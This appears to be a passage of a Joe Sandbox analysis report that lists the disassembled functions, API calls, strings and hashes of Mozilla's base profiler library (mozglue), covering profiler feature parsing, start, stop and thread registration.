strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB7CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB7CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB7CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB7CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB7CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB7CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB7CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB7CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB7CE8A

Strings

samplingallthreads, xrefs: 6CB7CE2C
screenshots, xrefs: 6CB7CCD4
cpuallthreads, xrefs: 6CB7CE16
notimerresolutionchange, xrefs: 6CB7CE00
processcpu, xrefs: 6CB7CE6E
audiocallbacktracing, xrefs: 6CB7CDD4
fileioall, xrefs: 6CB7CCA8
default, xrefs: 6CB7CC21
fileio, xrefs: 6CB7CC92
nostacksampling, xrefs: 6CB7CD7C
ipcmessages, xrefs: 6CB7CDBE
mainthreadio, xrefs: 6CB7CC7C
power, xrefs: 6CB7CE84
markersallthreads, xrefs: 6CB7CE42
jsallocations, xrefs: 6CB7CD0E
seqstyle, xrefs: 6CB7CCE6
stackwalk, xrefs: 6CB7CCF8
noiostacks, xrefs: 6CB7CCBE
Unrecognized feature "%s"., xrefs: 6CB7CEA0
leaf, xrefs: 6CB7CC66
preferencereads, xrefs: 6CB7CD92
java, xrefs: 6CB7CC37
nativeallocations, xrefs: 6CB7CDA8
unregisteredthreads, xrefs: 6CB7CE58

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 500be128bf5ff5aa7d9a8268017b1e9563552f4f09f8d8806a70a654b9ba9403
Instruction ID: 708ca8e79b20dca5edc7ae931a160afa86afc7cbbabd9e2f5258f6e86a6af1f0
Opcode Fuzzy Hash: 500be128bf5ff5aa7d9a8268017b1e9563552f4f09f8d8806a70a654b9ba9403
Instruction Fuzzy Hash: C551A8C59492F522FE2034552E10BBF2484EB5225AF10403EEDA9A6F80FF55A70B47B7

Function 6CB447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB44801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB44817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB4482D
__Init_thread_footer.LIBCMT ref: 6CB4484A

Part of subcall function 6CB6AB3F: EnterCriticalSection.KERNEL32(6CBBE370,?,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB49
Part of subcall function 6CB6AB3F: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6AB7C

GetCurrentThreadId.KERNEL32 ref: 6CB4485F
GetCurrentThreadId.KERNEL32 ref: 6CB4487E
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4488B
free.MOZGLUE(?), ref: 6CB4493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB44956
free.MOZGLUE(00000000), ref: 6CB44960
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4499A

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

free.MOZGLUE(?), ref: 6CB449C6
free.MOZGLUE(?), ref: 6CB449E9

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB447FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CB44A42
[I %d/%d] profiler_shutdown, xrefs: 6CB44A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB44828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB44812

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c4790090b922b5847fd9cdbf5ee7e791568121a6ccf611b7b86cf0f213b6bd52
Instruction ID: 9a2016c5bac14118316bd87a66e5339152afe6e00f61c0f3b9888f8d663378a1
Opcode Fuzzy Hash: c4790090b922b5847fd9cdbf5ee7e791568121a6ccf611b7b86cf0f213b6bd52
Instruction Fuzzy Hash: 3B812778A081808FDB00DF68C88475E7375FF42329F544629E916A7B49EB30E864DF9B

Function 6CB44470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB44730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB444B2,6CBBE21C,6CBBF7F8), ref: 6CB4473E
Part of subcall function 6CB44730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB4474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CB444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CB444D2
InitOnceExecuteOnce.KERNEL32(6CBBF80C,6CB3F240,?,?), ref: 6CB4451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB4455C
LoadLibraryW.KERNEL32(?), ref: 6CB44592
InitializeCriticalSection.KERNEL32(6CBBF770), ref: 6CB445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CB445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CB445BB
InitOnceExecuteOnce.KERNEL32(6CBBF818,6CB3F240,?,?), ref: 6CB44612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB44636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CB44644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB4466D
VerSetConditionMask.NTDLL ref: 6CB4469F
VerSetConditionMask.NTDLL ref: 6CB446AB
VerSetConditionMask.NTDLL ref: 6CB446B2
VerSetConditionMask.NTDLL ref: 6CB446B9
VerSetConditionMask.NTDLL ref: 6CB446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CB446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CB446FD

Strings

NativeNtBlockSet_Write, xrefs: 6CB446F7
WRusr.dll, xrefs: 6CB444B5
l, xrefs: 6CB44578
user32.dll, xrefs: 6CB44557, 6CB4463F
kernel32.dll, xrefs: 6CB444CD

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 688fe874dc3fe8e27157de98dec859b70df8a5b6fb35e9f5aca50f561dc1d303
Instruction ID: d4aa1617439dcaf4548c88db760a81016db2e7fbfadc4e5d332ce7e7cc61e15e
Opcode Fuzzy Hash: 688fe874dc3fe8e27157de98dec859b70df8a5b6fb35e9f5aca50f561dc1d303
Instruction Fuzzy Hash: C46115B8A083C4AFEF008F65CC49BA97BB8EB46308F04C498F5089B651DFB09955CF56

Function 6CB7E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB77090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB7B9F1,?), ref: 6CB77107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB7DCF5), ref: 6CB7E92D
GetCurrentThreadId.KERNEL32 ref: 6CB7EA4F
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EA5C
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EA80
GetCurrentThreadId.KERNEL32 ref: 6CB7EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB7DCF5), ref: 6CB7EA92
GetCurrentThreadId.KERNEL32 ref: 6CB7EB11
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB7EB3C
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EB5B

Part of subcall function 6CB75710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB7EB71), ref: 6CB757AB

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB7EBAC

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7EBC1
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000), ref: 6CB7EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB7EBE5
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8,00000000), ref: 6CB7EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB7EC46
CloseHandle.KERNEL32(?), ref: 6CB7EC55
free.MOZGLUE(00000000), ref: 6CB7EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB7EA9B
[I %d/%d] profiler_start, xrefs: 6CB7EBB4

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: cec75d7cfb8ea7ab9b9326a5a648bb6f8c2499eeef66e9f560efe31619249305
Instruction ID: 3ae3adb0840b0e3ba083a40f844ea13c27bde1559bd94303329a85da8243de17
Opcode Fuzzy Hash: cec75d7cfb8ea7ab9b9326a5a648bb6f8c2499eeef66e9f560efe31619249305
Instruction Fuzzy Hash: 84A1263D7006849FDB209F68C884BAEB7B5FF86318F144429ED2997B51DF709805CBA6

Function 6CB7F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB7F8F9

Part of subcall function 6CB46390: GetCurrentThreadId.KERNEL32 ref: 6CB463D0
Part of subcall function 6CB46390: AcquireSRWLockExclusive.KERNEL32 ref: 6CB463DF
Part of subcall function 6CB46390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB4640E

ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F93A
GetCurrentThreadId.KERNEL32 ref: 6CB7F98A
GetCurrentThreadId.KERNEL32 ref: 6CB7F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F716

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

Part of subcall function 6CB3B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CB3B5E0

GetCurrentThreadId.KERNEL32 ref: 6CB7F739
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F746
GetCurrentThreadId.KERNEL32 ref: 6CB7F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBB385B,00000002,?,?,?,?,?), ref: 6CB7F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB7F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB7F866
free.MOZGLUE(?), ref: 6CB7FA0C

Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB45E8C
Part of subcall function 6CB45E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45E9D
Part of subcall function 6CB45E60: GetCurrentThreadId.KERNEL32 ref: 6CB45EAB
Part of subcall function 6CB45E60: GetCurrentThreadId.KERNEL32 ref: 6CB45EB8
Part of subcall function 6CB45E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45ECF
Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CB45F27
Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CB45F47
Part of subcall function 6CB45E60: GetCurrentProcess.KERNEL32 ref: 6CB45F53
Part of subcall function 6CB45E60: GetCurrentThread.KERNEL32 ref: 6CB45F5C
Part of subcall function 6CB45E60: GetCurrentProcess.KERNEL32 ref: 6CB45F66
Part of subcall function 6CB45E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB45F7E

free.MOZGLUE(?), ref: 6CB7F9C5
free.MOZGLUE(?), ref: 6CB7F9DA

Strings

Thread , xrefs: 6CB7F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB7F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB7F71F
" attempted to re-register as ", xrefs: 6CB7F858

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f66cbc4b7804c821aeac387c3a11758f19a73f44d9b4f85eb87e6037909595f0
Instruction ID: d3e7d11e185325153e67adfc5ef723505db4b4a6880202a5af7ec6abd7d9ef42
Opcode Fuzzy Hash: f66cbc4b7804c821aeac387c3a11758f19a73f44d9b4f85eb87e6037909595f0
Instruction Fuzzy Hash: DC812675A042809FDB20DF24C880BAEB7B5EF85308F45452DE85997B51EF30E909CBA7

Function 6CB7EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7EE60
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EE6D
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB7EEA5
CloseHandle.KERNEL32(?), ref: 6CB7EEB4
free.MOZGLUE(00000000), ref: 6CB7EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB7EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7EECF

Part of subcall function 6CB7DE60: GetCurrentThreadId.KERNEL32 ref: 6CB7DE73
Part of subcall function 6CB7DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB44A68), ref: 6CB7DE7B
Part of subcall function 6CB7DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB44A68), ref: 6CB7DEB8
Part of subcall function 6CB7DE60: free.MOZGLUE(00000000,?,6CB44A68), ref: 6CB7DEFE
Part of subcall function 6CB7DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB7DF38

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB7EF1E
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EF2B
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EF59
GetCurrentThreadId.KERNEL32 ref: 6CB7EFB0
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EFBD
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB7EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F000

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB7F02F

Part of subcall function 6CB7F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB7F09B
Part of subcall function 6CB7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB7F0AC
Part of subcall function 6CB7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB7F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CB7EED7
[I %d/%d] profiler_pause, xrefs: 6CB7F008

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 2412e92b14a1389c3ca69c20446bfaff2a0306f6d8d3f72776b51c107e779757
Instruction ID: 70965d499eaf7f9e056385e454b5d0e90cf65e3b228c9eea3af1eca84cc9f692
Opcode Fuzzy Hash: 2412e92b14a1389c3ca69c20446bfaff2a0306f6d8d3f72776b51c107e779757
Instruction Fuzzy Hash: 6A51D43D6042949FEF205B68D8487AEB7B4EF46368F140926ED2593F81DF745804C7BA

Function 6CB45E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45E9D

Part of subcall function 6CB55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB556EE,?,00000001), ref: 6CB55B85
Part of subcall function 6CB55B50: EnterCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55B90
Part of subcall function 6CB55B50: LeaveCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55BD8
Part of subcall function 6CB55B50: GetTickCount64.KERNEL32 ref: 6CB55BE4

GetCurrentThreadId.KERNEL32 ref: 6CB45EAB
GetCurrentThreadId.KERNEL32 ref: 6CB45EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CB46017

Part of subcall function 6CB34310: moz_xmalloc.MOZGLUE(00000010,?,6CB342D2), ref: 6CB3436A
Part of subcall function 6CB34310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB342D2), ref: 6CB34387

moz_xmalloc.MOZGLUE(00000004), ref: 6CB45F47
GetCurrentProcess.KERNEL32 ref: 6CB45F53
GetCurrentThread.KERNEL32 ref: 6CB45F5C
GetCurrentProcess.KERNEL32 ref: 6CB45F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB45F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CB45F27

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB45E8C

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB4605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB460CC

